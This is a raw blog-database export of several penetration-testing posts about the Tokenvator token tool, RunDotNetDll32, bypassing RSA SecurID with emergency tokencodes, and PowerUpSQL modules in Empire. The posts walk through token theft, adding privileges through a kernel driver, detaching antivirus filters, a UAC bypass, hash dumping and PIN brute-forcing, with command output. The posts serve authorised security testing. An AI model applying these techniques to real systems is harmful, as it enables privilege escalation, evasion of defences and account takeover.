Alexander Leary holds a BS in Information Security and Forensics from the Rochester Institute of Technology and graduated Summa Cum Laude. Alexander has been involved in information security consulting for over 5 years. Prior to becoming involved in computer security, Alexander worked as a system administrator, network administrator, and web developer.
Alexander specializes in network penetration testing and email phishing. Alexander is also involved in the research and development of various tools and frameworks including PowerShell Empire.
Tokenvator Release 3 is a long overdue update that includes a major overhaul to the tool. From the user interface, it will be mostly familiar with some command line tweaks. Under the surface, large portions of the code base have been reworked, and parts of the base have had some updates. In this series, we will go over some of the changes and new features added. Teaser Alert: Adding Privileges & Creating Tokens
Improvements
First and foremost, the user interface. Historically, every action had a series of positional arguments that were clunky and generally difficult to remember. They were also not very flexible, and as the commands started to have more, and additional optional arguments, they became completely unwieldy. These have been replaced with flags that will auto complete.
For instance, to list and enable privileges:
This also works in the non-interactive mode (though it won’t tab complete – sorry, it’s Windows):
Additionally, the scroll back function was improved and numerous bugs were resolved. For instance, now when you press up you will always go to the last command issued. A printable command history has also been added if you want to copy and paste instead or keep a log of your actions.
The info functionality was improved again, removing many bugs and adding additional information, such as impersonation contexts:
(Tokens) > whoami
[*] Operating as NT AUTHORITY\SYSTEM
(Tokens) > info
[*] Primary Token
[+] User:
S-1-5-21-258464558-1780981397-2849438727-1001 DESKTOP-J5KC1AR\0xbadjuju
[*] Impersonation Tokens
[*] Primary Token Groups
[+] Enumerated 15 Groups:
S-1-5-21-258464558-1780981397-2849438727-513 DESKTOP-J5KC1AR\None
S-1-1-0 Everyone
S-1-5-114 NT AUTHORITY\Local account and member of Administrators group
S-1-5-32-544 BUILTIN\Administrators
S-1-5-32-559 BUILTIN\Performance Log Users
S-1-5-32-545 BUILTIN\Users
S-1-5-4 NT AUTHORITY\INTERACTIVE
S-1-2-1 CONSOLE LOGON
S-1-5-11 NT AUTHORITY\Authenticated Users
S-1-5-15 NT AUTHORITY\This Organization
S-1-5-113 NT AUTHORITY\Local account
S-1-5-5-0-870189 Some or all identity references could not be translated.
S-1-2-0 LOCAL
S-1-5-64-10 NT AUTHORITY\NTLM Authentication
S-1-16-12288 Some or all identity references could not be translated.
Now, you have the option to get additional information by using the /all flag.
(Tokens) > info /all
Option Value
------ -----
all
[*] Primary Token
[+] User:
S-1-5-21-258464558-1780981397-2849438727-1001 DESKTOP-J5KC1AR\0xbadjuju
[*] Impersonation Tokens
[*] Thread ID: 5820
[+] User:
S-1-5-18 NT AUTHORITY\SYSTEM
[*] Thread ID: 1120
[*] Thread ID: 7108
[*] Thread ID: 9180
[*] Thread ID: 1152
[*] Thread ID: 8592
[*] Thread ID: 8076
[*] Primary Token Groups
[+] Enumerated 15 Groups:
S-1-5-21-258464558-1780981397-2849438727-513 DESKTOP-J5KC1AR\None
S-1-1-0 Everyone
S-1-5-114 NT AUTHORITY\Local account and member of Administrators group
S-1-5-32-544 BUILTIN\Administrators
S-1-5-32-559 BUILTIN\Performance Log Users
S-1-5-32-545 BUILTIN\Users
S-1-5-4 NT AUTHORITY\INTERACTIVE
S-1-2-1 CONSOLE LOGON
S-1-5-11 NT AUTHORITY\Authenticated Users
S-1-5-15 NT AUTHORITY\This Organization
S-1-5-113 NT AUTHORITY\Local account
S-1-5-5-0-870189 Some or all identity references could not be translated.
S-1-2-0 LOCAL
S-1-5-64-10 NT AUTHORITY\NTLM Authentication
S-1-16-12288 Some or all identity references could not be translated.
[+] Source: User32
[*] Enumerating Token Privileges
[*] GetTokenInformation - Pass 1
[*] GetTokenInformation - Pass 2
[+] Enumerated 24 Privileges
Privilege Name Enabled
-------------- -------
SeIncreaseQuotaPrivilege False
SeSecurityPrivilege False
SeTakeOwnershipPrivilege False
SeLoadDriverPrivilege False
SeSystemProfilePrivilege False
SeSystemtimePrivilege False
SeProfileSingleProcessPrivilege False
SeIncreaseBasePriorityPrivilege False
SeCreatePagefilePrivilege False
SeBackupPrivilege False
SeRestorePrivilege False
SeShutdownPrivilege False
SeDebugPrivilege True
SeSystemEnvironmentPrivilege False
SeChangeNotifyPrivilege True
SeRemoteShutdownPrivilege False
SeUndockPrivilege False
SeManageVolumePrivilege False
SeImpersonatePrivilege True
SeCreateGlobalPrivilege True
SeIncreaseWorkingSetPrivilege False
SeTimeZonePrivilege False
SeCreateSymbolicLinkPrivilege False
SeDelegateSessionUserImpersonatePrivilege False
[+] Owner:
S-1-5-32-544 BUILTIN\Administrators
[+] Primary Group:
S-1-5-21-258464558-1780981397-2849438727-513 DESKTOP-J5KC1AR\None
[+] ACL Count: 572
[+] Primary Token
[+] TokenElevationTypeFull
[*] Token: Split
[+] ProcessIntegrity: High
Impersonation Tokens
Previously, I had glossed over Impersonation (Thread) Tokens in the Tokenvator tool. When you impersonate a token, it doesn’t replace your primary token in your process. What it does is place the token in the calling thread. In this tool, this is typically the primary thread. Going forward, I will use Thread Token and Impersonation Token interchangeably.
In the following example, we show the privileges on our primary token (List_Privileges), impersonate the SYSTEM account (GetSystem), list the privileges on our primary token again to show it hasn’t been altered (List_Privileges), and finally list the privileges for the SYSTEM token we are impersonating (List_Privileges /Impersonation).
In this second, more complex example, we show:
The privileges on our primary token (List_Privileges)
Impersonate the SYSTEM account (GetSystem)
List the privileges for the SYSTEM token we are impersonating (List_Privileges /Impersonation)
We then:
Disable the SeAssignPrimaryTokenPrivilege on the Thread Token for SYSTEM (Disable_Privilege /Privilege:SeAssignPrimaryTokenPrivilege /Impersonation)
List the thread token privileges again (List_Privileges /Impersonation)
Re-enable the privilege on the token (Enable_Privilege /Privilege:SeAssignPrimaryTokenPrivilege /Impersonation)
List the privileges one last time (List_Privileges /Impersonation) to show that it has been reenabled
This could all be done against a remote process as well by passing /ProcessID:<ID> flag.
Similarly, Thread Tokens can be impersonated with the Steal_Token command by specifying the /Thread Flag.
Now for the Cool Stuff
The number one request I’ve gotten has been, “Can I add a privilege with this tool?” Until now, that issue has been open on GitHub. I can happily say, I can finally close this issue.
Like Morpheus said, some of these rules can be bent others can be broken. To change the privileges on the token, I’ve historically used advapi32!AdjustTokenPrivileges. This allows for privileges to be enabled, disabled, or removed. As far as I’ve been able to tell, this does not allow for adding privileges onto a token. But because that doesn’t work, it doesn’t mean that there are no other options. It’s time to enter the world of the kernel.
As expansive as Microsoft Developer Network (MSDN) is, it is not all-encompassing. There are things that are intentionally not documented as they are not intended to be used. Among these is the EPROCESS structure.
Part of this is that this structure can change without notice from Microsoft. I can personally confirm that this happened. While it may be difficult to track down the layout of this structure online, we can easily view it with WinDbg. Using the dt command in WinDbg we can view each instance of it.
Exploring with windbg
Let’s look at the process structure of an elevated Tokenvator instance:
It’s running with process ID of 8140, converted to hex it is 1FCC.
Examining that process shows:
The line we are looking for is:
PROCESS ffff9a890b963080
The EPROCESS structure can be found at is at address ffff9a890b963080. Querying for the EPROCESS structure:
It’s mostly truncated here, but it’s big. Really big. Excluding the KPROCESS structure which takes up the address 0x000 – 0x438 it has 238 entries.
But in this structure, there is a field called Token which references the _EX_FAST_REF structure.
Querying the _EX_FAST_REF structure for the Token field shows the following.
If we were query that address for a _TOKEN structure it wouldn’t work but looking the verbose process information with the command.
I didn’t immediately realize why the addresses were different. Fortunately, the ired.team was able to provide a useful insight:. they realized a bitwise AND (&) would correct the address.
Querying that address for the token we see a structure where the privileges are stored.
Querying that field reveals a structure that contains the present field where a bitwise or for each privilege can detect if it is present.
AND’ing that field can allow us to put privileges back on the token.
Pulling it All Together
We’ve found what needs to be changed in the kernel, so how do we do that? Well, that involves creating a kernel mode driver that can interact with kernel memory. Introducing: the KernelTokens driver.
This introduces several additional commands:
install_driver
start_driver
uninstall_driver
add_privilege
freeze_token
unfreeze_token
First, we need to install the driver. The default name is TokenDriver.
Now, let’s look at the existing privileges on the Tokens:
In this instance we see at the start there are 24 privileges. Let’s add two privileges SeTcbPrivilege and SeCreateTokenPrivilege. First, we run the command Add_Privilege /Privilege:SeTcbPrivilege. This connects to the driver and updates the bitfield in memory. Running List_Privileges again we see SeTcbPrivilege is now on the token. Running the Add_Privilege /Privilege:SeCreateTokenPrivilege command again allows us to add this privilege as well. As can be seen during the final List_Privileges command, 26 privileges are now present on the token including SeTcbPrivilege and SeCreateTokenPrivilege.
Causing Some Shenanigans
Critical Processes are a fun flag that can be added to a process to indicate that it is critical to the system functionality. This can be used to force a system to blue screen, or in some cases prevented the process from being killed.
When it does, well…
Becoming Someone Else:
One of the interesting things that I always wanted to add was the ability to become another user on the system without having to steal their token from a running process. There are several ways to accomplish this with increasing levels of difficulty:
RunAs
Logon_User
Create_Token
Each one of these methods calls a different API.
RunAs
The RunAs is almost identical to the RunAs /netonly command. Under the surface this is just calling CreateProcessWithLogonW.
Logon_User
Logon_User is a little more complex, depending on the options provided it is either calling LogonUser or LogonUserExExW (no, not a typo) and then uses the newly created token to call CreateProcessWithTokenW.
Using this we can become any user we have credentials for as well as local service accounts such as Network Service or Local Service.
Create_Token
Lastly, the final technique for this part of the post is create_token. Under the surface this calls ntdll!CreateToken – this is a bit of a bear. This manually crafts the token from scratch and then calls CreateProcessWithTokenW.
As can be seen above, with this we can become disabled users and ephemerally add them to groups by adding the group onto the token at creation time.
[post_title] => Tokenvator Release 3
[post_excerpt] => This blog post discusses new additions to the Tokenvator for adding Token Privileges and manually crafting access tokens.
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => tokenvator-release-3
[to_ping] =>
[pinged] =>
[post_modified] => 2023-05-18 12:46:40
[post_modified_gmt] => 2023-05-18 17:46:40
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://www.netspi.com/?p=25940
[menu_order] => 318
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[1] => WP_Post Object
(
[ID] => 25884
[post_author] => 53
[post_date] => 2021-07-12 15:36:48
[post_date_gmt] => 2021-07-12 20:36:48
[post_content] =>
Ransomware is a strategy for adversaries to make money – a strategy that’s proven successful. In this webinar, NetSPI’s Scott Sutherland and Alexander Polce Leary will cover how ransomware works, ransomware trends to watch, best practices for prevention, and more. At the core of the discussion, Scott and Alexander will explain how to build detections for common tactics, techniques, and procedures (TTPs) used by ransomware families and how to validate they work, ongoing, as part of the larger security program. Participants will leave this webinar with actionable advice to ensure their organization is more resilient to ever-evolving ransomware attacks.
Tokenvator is a token manipulation utility that is primarily used to alter the privileges of a process. In the original release we primarily focused on elevating process privileges. In this release, in addition to the usual bug fixes and improving existing features, I added several new features:
The ability to display additional token information
A help command that’s actually useful
Disabling and Removing Token Privileges
Named Pipe Tokens
Minifilter Manipulation
Use Cases:
There are a multitude of instances where elevating privilege or duplicating another processes token is necessary to proceed on an assessment. Most credential theft mechanisms require SYSTEM privileges, and now an impersonated SYSTEM token may not be enough. Tokenvator now tries to not only impersonate tokens, but also tries to start the process with a primary token.
Displaying Token Information:
It can be useful to know some limited information about the token. For instance, just because you’re impersonating a token doesn’t mean you inherit all the privileges of the token. For instance, not all SYSTEM tokens are created or impersonated identically.
In the example below we are operating as SYSTEM but are still in our original groups.
However, in the second example below, we got SYSTEM via the command GetSystem and are operating as SYSTEM and are placed in the relevant groups for SYSTEM.
In this final example we got SYSTEM via the command GetSystem cmd.exe which used the same token to start a new process.
Help Command Changes
In the first release, the help command left a lot to be desired, when the author of the tool can’t remember how to run the command and the help menu doesn’t help him… there might be a problem. So some changes were may to provide some additional help for each supported method. Below is an example.
Token Privilege Modifications:
In the previous release it was possible to enable a privilege on a process. In this example we are enabling SeSystemEnvironmentPrivilege on LogonUI.
That’s neat, but what if we wanted to remove privileges from a process?
Tokenvator now supports disabling or deleting a privilege placed on a process. In this instance we first disable and then remove the SeDebugPrivilege from the Powershell 6 process (pwsh.exe).
But what if we really don’t want a process to have any privileges on a system? That is possible as well. In this example we remove all the privilege held by the splunkd process token. My intent is not to pick on Splunk, splunkd was just the first thing in my lab that met the example criteria. ;)
Named Pipe Tokens
There are instances where we don’t have the SeDebugPrivilege and thus cannot open a process we do not own. In these instances, we need a different method to GetSystem. This is where named pipes come into play. Via the Windows API’s we have the native ability to impersonate anyone who connects to our named pipe.
This can be useful in other situations where services connect to a known named pipe name. In these instances, we can create an arbitrary named pipe and steal the remote processes token as soon as they connect and write to our pipe. For processes that use named pipes for inter process communication this opens up a potential attack surface.
Minifilters:
Many defensive products use hooks to intercept calls to check for malicious activity. Microsoft has strongly suggested that when it comes to the file system, vendors do not hook calls but instead use Minifilters which will be passed the file system data. AV / EDR products are given a specified altitude or precedence in which they are to inspect the file. This aspect of them also makes them trivial to identify.
Below are the Minifilters associated with Windows Defender and vShield.
DeviceMup is the Minifilter associated with UNC paths. To detach the filter monitoring network paths we can run a simple command. Note: Not all Minifilters can be detached, however many, many can be. This is because not all filters programmed with an unload routine, which prevents Minifilters from gracefully unloading.
In the following demo we are going to be detaching a Minifilter from a file system so that we can run our tool while the AV product is still running.
If you’re looking for a more permanent way to disable Minifilters, I would suggest looking at this registry key.
So that’s all for this release. Thank you to everyone took the time to file bug reports and let me know how they were using the tool. And a special thank you to those who submitted pull requests for this release. If you have any suggestions or feature requests please feel free to let me know.
[post_title] => Tokenvator: Release 2
[post_excerpt] =>
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => tokenvator-release-2
[to_ping] =>
[pinged] =>
[post_modified] => 2021-06-08 21:55:44
[post_modified_gmt] => 2021-06-08 21:55:44
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=9735
[menu_order] => 519
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[3] => WP_Post Object
(
[ID] => 9534
[post_author] => 34
[post_date] => 2018-07-25 07:00:54
[post_date_gmt] => 2018-07-25 07:00:54
[post_content] => This is a quick blog to cover an alternative technique to load a .Net Assembly without having to call the suspicious Assembly.LoadFile() or Assembly.Load() Functions.
Not too long ago I released a tool called RunDotNetDll32 to make it easier to execute methods from .Net DLLs without going through the process of loading them and executing them in PowerShell. It can be downloaded here. However, under the hood the application is still called System.Reflection.Assembly.LoadFile(). Below is a C# example of this process.
While this was functional, it was also not ideal if you’re trying to avoid calling suspicious methods or APIs.
Enter type loading
There are a multitude of ways to call reflection, one of which is the System.Type.GetType() method. This particular method requires the DLL to be in one of two places: the same directory as the executing assembly or in the GAC. Using this as a search path, the Assembly’s Fully Qualified Name can be passed as a parameter and be automatically loaded.
There is nothing particularly special about System.Reflection.AssemblyName in this context, but it does save us some effort by automatically parsing the Assembly’s Fully Qualified Name.
In PowerShell, the previous code could be equivalently executed with the following script:
Again, note that the DLL being reflectively loaded needs to exists in the same directory as the executing assembly or in the GAC.
RunDotNetDll32 – Now with less Assembly.LoadFile()
Given this the option to run a method using Type.GetType() has been added along with other flags, doing away with the previously used positional parameters.
Tokenvator: A Tool to Elevate Privilege using Windows Tokens
WheresMyImplant is a mini red team toolkit that I have been developing over the past year in .NET. While developing and using it, I found that I consistently needed to alter my process access token to do such things as SYSTEM permissions or add debug privileges to my process. The library used for this expanded to the point where it was as useful as an independent toolkit. This is why I created Tokenvator. It is a simple tool I wrote in .NET that can be used to elevate to the appropriate permissions on Windows. It works by impersonating or altering authentication tokens in processes that the executing process has the appropriate level of permissions to.
Tokenvator can be downloaded from https://github.com/0xbadjuju/Tokenvator from the releases section. Compiling instructions can be found on GitHub at the bottom of the page.
Basic Usage
Tokenvator can be run in an interactive prompt, or commands can be provided as command line arguments. In the interactive mode, base commands will tab complete, with double tabs providing context specific help.
While most of the screenshots will show commands running from an interactive (Tokens) > prompt, it is possible to run all commands as an argument.
Steal_Token
At it’s most basic level, Tokenvator is used to access and manipulate Windows authentication tokens. To appropriate the token of another process, we can run the Steal_Token command with the target process’s PID.
We can also optionally add a command to be run that will be launched with the new access token.
(Tokens) > Steal_Token 7384 powershell.exe
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[+] Recieved Handle for: (7384)
[+] Process Handle: 860
[+] Primary Token Handle: 864
[+] Duplicate Token Handle: 860
[*] CreateProcessWithTokenW
[+] Created process: 14524
[+] Created thread: 18784
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:WINDOWSsystem32> whoami
labbackup
PS C:WINDOWSsystem32> $pid
14524
GetSystem
The most common token I need to steal is for the NT AUTHORITYSYSTEM account. The GetSystem command was created as a wrapper for Steal_Token to automatically find and access SYSTEM tokens. It works with the same syntax as Steal_Token. Note: This needs to be run from an elevated context.
(Tokens) > GetSystem
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Searching for NT AUTHORITYSYSTEM
[*] Examining 344 processes
[*] Discovered 118 processes
[*] Impersonating 5488
[+] Recieved Handle for: (5488)
[+] Process Handle: 888
[*] Impersonating 4444
[+] Recieved Handle for: (4444)
[+] Process Handle: 868
[+] Primary Token Handle: 904
[+] Duplicate Token Handle: 868
(Tokens) > WhoAmI
[*] Operating as NT AUTHORITYSYSTEM
(Tokens) > RevertToSelf
[*] Reverted token to labbadjuju
I’ve discovered that I am unable to directly access the token of certain processes unless I’ve first elevated to SYSTEM. Examples of the are the NT SERVICE accounts such as a local SQL service process. This might be necessary if the local SYSTEM account doesn’t have SYSADMIN privileges on the database. Scott Sutherland talks more about this in this blog.
GetTrustedInstaller
It is common for the files in the SYSTEM32 folder or parts of the registry to be owned by the TRUSTEDINSTALLER group. To manipulate the contents of these locations, we can either take ownership or get an access token that has membership in the TRUSTEDINSTALLER group. Similar to GetSystem, GetTrustedInstaller is a wrapper for Steal_Token that starts the TrustedInstaller service and appropriates it’s token.
List_Privileges and Set_Privilege
Sometimes our process doesn’t have the particular access right that we need in order to complete a task. For instance, to access a process that your current user doesn’t own, the SeDebugPrivilege is required. Shown below is a split token in a high integrity process (UAC Elevated - TokenElevationTypeFull)
And here we can see the default privileges assigned to a split token in a medium integrity process (UAC Not Elevated - TokenElevationTypeLimited)
For this functionality, we are not limited to just our own process Let’s examine what notepad.exe’s token looks like when run as administrator. Note: To access a process not owned by your current user, the SeDebugPrivilege must be enabled on your current process.
Having examined notepad.exe’s token, we can remotely alter the privileges on it. Let’s add SeLoadDriverPrivilege to that token and see what happens. Note: Privilege names are case sensitive.
Sure enough, notepad.exe can now load a driver, for whatever interesting use case that might require that. In the future the ability to remove privileges will be added.
BypassUAC
UAC bypasses have become plentiful that this point, however one of the more interesting ones comes from manipulating tokens. FuzzySecurity has done some very interesting work on a UAC bypass method utilizing Windows tokens. Tokenvator includes an implementation of the technique he published. Below, our unprivileged token can be used to access an elevated process our current user owns and spawn an elevated shell.
While this method likely will not be patched in the near future, it is not without its limitations. As can be seen below, while the process is high integrity, the privileges assigned to the token are still limited.
Finding User Processes
For finding a user on a system there are multiple methods for identification. Firstly, we can look at registered session on the system.
One feature that I’ve wanted is the ability to have a summary view of user processes to get a sample of users and a process that they own. This is what the List_Processes command accomplishes.
(Tokens) > List_Processes
User Process ID Process Name
---- ---------- ------------
labbadjuju 4000 conhost
List_Processes takes advantage of the native API’s on the host and is quite fast at listing a summary of processes and owners. As of now, it will not be able to function properly unless run from an elevated context. Because of this, List_Processes_WMI has been included. As the name might imply, this operates via WMI. While not as quick as List_Processes, it can provide a more thorough view from a non-elevated context.
(Tokens) > List_Processes_WMI
[*] Examining 102 processes
User Process ID Process Name
---- ---------- ------------
0 Idle
LABBADJUJU 448 taskhost
LOCAL XBADJUJU 1568 cmd
Or we can poll the system for for all processes running under the context of a particular user. Note: as of the initial release, the full username is required.
Similarly to List_Processes a mechanism to accomplish the same task has been included via WMI. This will also work in an unelevated context.
(Tokens) > Find_User_Processes_WMI LOCAL xBADJUJU
[*] Examining 102 processes
[*] Discovered 31 processes
Process ID Process Name
---------- ------------
1568 cmd.exe
2108 conhost.exe
1936 procexp64.exe
3544 cmd.exe
3608 conhost.exe
3892 x64dbg.exe
I made this program for myself and the NetSPI team, but hopefully it will be useful to others. If you have any bugs, commits, or feature requests let me know. All are welcome.
[post_title] => Tokenvator: A Tool to Elevate Privilege using Windows Tokens
[post_excerpt] =>
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => tokenvator-a-tool-to-elevate-privilege-using-windows-tokens
[to_ping] =>
[pinged] =>
[post_modified] => 2021-06-08 21:53:27
[post_modified_gmt] => 2021-06-08 21:53:27
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=8783
[menu_order] => 534
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[5] => WP_Post Object
(
[ID] => 8716
[post_author] => 34
[post_date] => 2018-04-24 07:00:45
[post_date_gmt] => 2018-04-24 07:00:45
[post_content] => For DerbyCon 2017 I released a mini red team toolkit in the form of a .Net DLL named WheresMyImplant. Since then I’ve been expanding its functionality to continue development on it. As part of the effort I needed a way to quickly execute .NET methods from an existing DLL. However, to the best of my knowledge there was no nice way of doing that without using PowerShell or .net SmokeTest. So I created RunDotNetDll32 for that purpose.
In this blog I’ll provide an overview of what RunDotNetDll32 does and some common usage examples.
Introduction to RunDotNetDll32
Below is a basic example command showing how to use PowerShell to load the .NET DLL WheresMyImplant.dll so that the DumpSAM() function can be executed to recover local password hashes.
As you can see, PowerShell can be a great medium for executing .NET methods reflectively. However, this can become a bit cumbersome during testing and isn’t ideal for executing client side.
Enter RunDotNetDll32; this executable has one purpose, to duplicate the functionality of rundll32 for .Net assemblies. Syntactically it is very similar to rundll32.exe. For example, if you wanted to execute the pre-mimikatz trick of locking the workstation and keylogging the winlogon process, it would start with the following command:
rundll32.exe User32.dll,LockWorkStation
Where the syntax is:
rundll32.exe $ASSEMBLY,$ENTRYPOINT $ARGUMENTS
With RunDotNetDll32 the syntax had to be slightly modified to the following:
It was pointed out to me early on that it’s not intuitive to have to remember every namespace, class, and method in an assembly. So the functionality to list namespaces, classes, and methods was rolled in.
Below are some basic examples:
Listing Namespaces
rundotnetdll32.exe WheresMyImplant.dll list namespaces
WheresMyImplant
I made this program for myself and the team, but hopefully it will be useful to blue and red team members developing .NET applications. If you have any bugs or commits let me know. Both are welcome.
[post_title] => Executing .NET Methods with RunDotNetDll32
[post_excerpt] => This blog introduces RunDotNetDll32.exe, which is a new tool for reflectively enumerating and executing .NET methods. It’s syntactically very similar to RunDll32.exe.
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => executing-net-methods-rundotnetdll32
[to_ping] =>
[pinged] =>
[post_modified] => 2021-04-13 00:05:18
[post_modified_gmt] => 2021-04-13 00:05:18
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=8716
[menu_order] => 540
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[6] => WP_Post Object
(
[ID] => 7054
[post_author] => 34
[post_date] => 2017-06-13 07:00:08
[post_date_gmt] => 2017-06-13 07:00:08
[post_content] =>
SecurID Emergency Access Tokencodes
A few months ago, one of my RSA soft token was on the fritz. It refused to work, and I was not able to remote into the client’s network to do an internal project for them. In fiddling with the RSA self-service console, and playing around with the troubleshooting section, I came across this feature called the Emergency Access Tokencode.
Hmmm I wonder what that is?
The Emergency Access Tokencode (EAT), is a backup code that is randomly generated on the RSA server that works for a set period, typically a week or so. Awesome, I didn’t need my soft token anymore, and I’m on the client network legitimately.
A few weeks later I was on an internal assessment for a PCI internal pen test. The CDE was isolated from the user and server networks via a Jump Host that used, you guessed it, RSA SecureID tokens for a second form of authentication. This is how I used the self-service console to get a legitimate token to bypass the 2FA.
RSA Self-Service Consoles have the option to integrate with LDAP for authentication. I have seen this commonly implemented, despite the potential pitfalls. After compromising a user’s account who had access to the CDE, I was able to log into the RSA console using their Active Directory username and password.
Once inside the console, navigate to the troubleshooting page.
And select the option, “Token is temporarily unavailable or misplaced”
At this point, an Emergency Access Tokencode was issued that was valid for a week.
In this instance, the user was not using a pin with the token, which allowed for direct access. However, this is not always the case though. In instances where there is a pin set, a work around is possible. Within the RSA console, there is a Change PIN field.
Normally a change pin field wouldn’t be particularly interesting, however there are a couple abnormalities to it.
The PIN is a finite length
The PIN is all numbers
The change PIN field is not governed by the standard lockout policy
What does this add up to?
This field is in most instances bruteforceable, and you’re basically guaranteed to get the PIN. The longer the PIN, the more time it takes to brute force. However, if human nature holds true, most of the time users will make a pin that is the minimum length of 4 or 6 character, both of which can be brute forced in a few minutes.
Using Burp Suite’s Intruder Attack, with the Battering ram attack type, we can discover what the current PIN is without changing it.
By sorting attack responses for length, we can find the anomaly, which is from a different error.
Now that we have our backup token and PIN we can now log into any SecureID protected system.
In instances where the Self-Service Console is not integrated into LDAP, and we also were not able to retrieved the saved password from a browser, we still have a one more card to play before we need to move onto social engineering.
Going back to the login page we can see a “Troubleshoot SecureID token” link.
If we follow the link we find a input for a username.
Now, fortunately to avoid a username enumeration vulnerability, RSA returns a question for every username enter, regardless if it is valid.
By default there are three Security Questions, so if you can't discover the name of their sixth grade teacher, perhaps you can find the name of their maternal grandmother's first name.
However, with some clever research, we can sometimes find the answer to the user’s security question. If we get the question correct we are then brought to this familiar page.
Where, we can again be issued an Emergency Access Tokencode.
One problem that I have consistently run into, is discovering RSA servers, as they do not seem to register an SPN, nor are they consistently registered in DNS. However, they do often run on the default port of 7004, of which very little else run on as well.
… and Shodan seems to agree.
Additionally, RSA consoles have the default title “Self-Service Console - Home”, which is also searchable.
Placing the RSA console outside the security boundary they are attempting to harden has always been a risky idea. Exposing it to the internet wasn’t a good idea before, it’s an even worse one now.
So about that two factor VPN…
[post_title] => Targeting RSA Emergency Access Tokencodes for Fun and Profit
[post_excerpt] => A few months ago, one of my RSA soft token was on the fritz. It refused to work, and I was not able to remote into the client’s network to do an internal project for them. In fiddling with the RSA self-service console, and playing around with the troubleshooting section, I came across this feature called the Emergency Access Tokencode.
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => targeting-rsa-emergency-access-tokencodes-fun-profit
[to_ping] =>
[pinged] =>
[post_modified] => 2021-06-08 21:48:12
[post_modified_gmt] => 2021-06-08 21:48:12
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=7054
[menu_order] => 564
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[7] => WP_Post Object
(
[ID] => 7490
[post_author] => 34
[post_date] => 2017-05-09 07:00:48
[post_date_gmt] => 2017-05-09 07:00:48
[post_content] => The core of PowerUpSQL is now in Empire.
We have added the following modules to Empire:
Let's quickly go over how these modules work in Empire as a few changes had to be made for it to be integrated.
Get-SQLInstanceDomain
The first module, Get-SQLInstanceDomain, is used for querying Active Directory for a list of SQL Servers by looking up their SPNs. In Empire, it is used in the following way:
(Empire: NCH9K51L) > usemodule situational_awareness/network/get_sql_instance_domain
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > options
Name: Get-SQLInstanceDomain
Module: powershell/situational_awareness/network/get_sql_instance_domain
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None
Authors:
@_nullbind
@0xbadjuju
Description:
Returns a list of SQL Server instances discovered by
querying a domain controller for systems with registered
MSSQL service principal names. The function will default to
the current user's domain and logon server, but an
alternative domain controller can be provided. UDP scanning
of management servers is optional.
Comments:
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
ps1
Options:
Options:
Name Required Value Description
---- -------- ------- -----------
UDPTimeOut False 3 Timeout in seconds for UDP scans of
management servers. Longer timeout =
more accurate.
Username False SQL Server or domain account to
authenticate with.
ComputerName False Computer name to filter for.
DomainController False Domain controller for Domain and Site
that you want to query against.
DomainServiceAccount False Domain account to filter for.
Password False SQL Server or domain account password to
authenticate with.
CheckMgmt False False Performs UDP scan of servers managing
SQL Server clusters.
Agent True NCH9K51L Agent to run module on.
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > run
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
Job started: 2T8P1H
Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
Parsing SQL Server instances from SPNs...
34 instances were found.
ComputerName : sql-2012.test.local
Instance : sql-2012.test.local,1433
DomainAccountSid : 15000005210002431346712921821222049996811922073100
DomainAccount : SQL-2012$
DomainAccountCn : SQL-2012
Service : MSSQLSvc
Spn : MSSQLSvc/sql-2012.test.local:1433
LastLogon : 2/22/2017 6:51 PM
Description : VM with SQL Server 2012 installed
...
In some instances, UDP scanning servers with the MSServerClusterMgmtAPI SPN will yield additional result.
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > set CheckMgmt True
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > run
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
Job started: CYS4KA
Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
Parsing SQL Server instances from SPNs...
Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...
Performing a UDP scan of management servers to obtain managed SQL Server instances...
Parsing SQL Server instances from the UDP scan...
34 instances were found.
ComputerName : sql-2012.test.local
Instance : sql-2012.test.local
ComputerName : sql-2012.test.local
Instance : sql-2012.test.local,1433
ComputerName : sql-2012.test.local
Instance : sql-2012.test.local,50213
...
Get-SQLServerInfo
The next module, Get-SqlServerInfo, is used for gathering information about each SQL instance. This module, due to PowerShell variable limitations within Empire, can either be used against a single instance or against all instances in the Domain. To run it against a single instance, specify the instance using the Instance parameter.
(Empire: NCH9K51L) > usemodule situational_awareness/network/get_sql_server_info
(Empire: powershell/situational_awareness/network/get_sql_server_info) > options
Name: Get-SQLServerInfo
Module: powershell/situational_awareness/network/get_sql_server_info
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
